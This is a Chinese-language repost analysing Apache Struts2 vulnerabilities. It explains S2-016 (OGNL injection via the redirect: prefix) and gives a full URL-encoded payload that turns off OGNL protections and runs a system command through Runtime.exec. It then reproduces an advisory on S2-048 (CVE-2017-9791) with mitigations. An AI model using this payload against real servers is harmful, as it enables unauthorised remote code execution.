漏洞分析.Struts2

Posted Jayden@gzm

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞分析.Struts2相关的知识,希望对你有一定的参考价值。

S2-016 

简述

在struts2中,DefaultActionMapper类支持以action:、redirect:、redirectAction:作为重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用Java静态方法执行任意系统命令。

Payload

http://localhost:8080/s2_016_war_exploded/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%

午夜惊魂! Struts2 showcase现远程代码执行漏洞


漏洞详情:  

Struts2官方已经确认该漏洞(漏洞编号S2-048,CVE编号:CVE-2017-9791),漏洞危害程度为高危。

受影响版本:Struts 2.3.x系列中的showcase应用

漏洞利用前置条件:必须使用Struts-core-1.x.x.jar插件,且ActionMessage类的key属性可控。

漏洞描述:在Struts 2.3.x 系列的Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞。当Apache Struts 2中的 Struts 1插件启用时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行。

 

解决方案:

目前Apache官方暂未发布官方补丁。可采用一下缓解措施。

方法一:

向ActionMessage传递原始消息时,始终使用类似a情形的资源键值,而不是将原始数值传递给ActionMessage如b的情形:

情形a:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

情形b:

messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));

方法二:

停用showcase.war

方法三:

安恒信息玄武盾产品可为广大客户提供0day期间的防护,建议尽快与高嘉科技联系并快速接入。

提醒广大用户,各种民间poc已经在路上,此事应慎重对待,刻不容缓。


以上是关于漏洞分析.Struts2的主要内容,如果未能解决你的问题,请参考以下文章

什么不是java中易出现文件操作漏洞的方法

怎样分析 JAVA 的 Thread Dumps

怎样分析 JAVA 的 Thread Dumps

Java安全之Axis漏洞分析

如何分析java Thread DUMP

Java安全之反序列化漏洞分析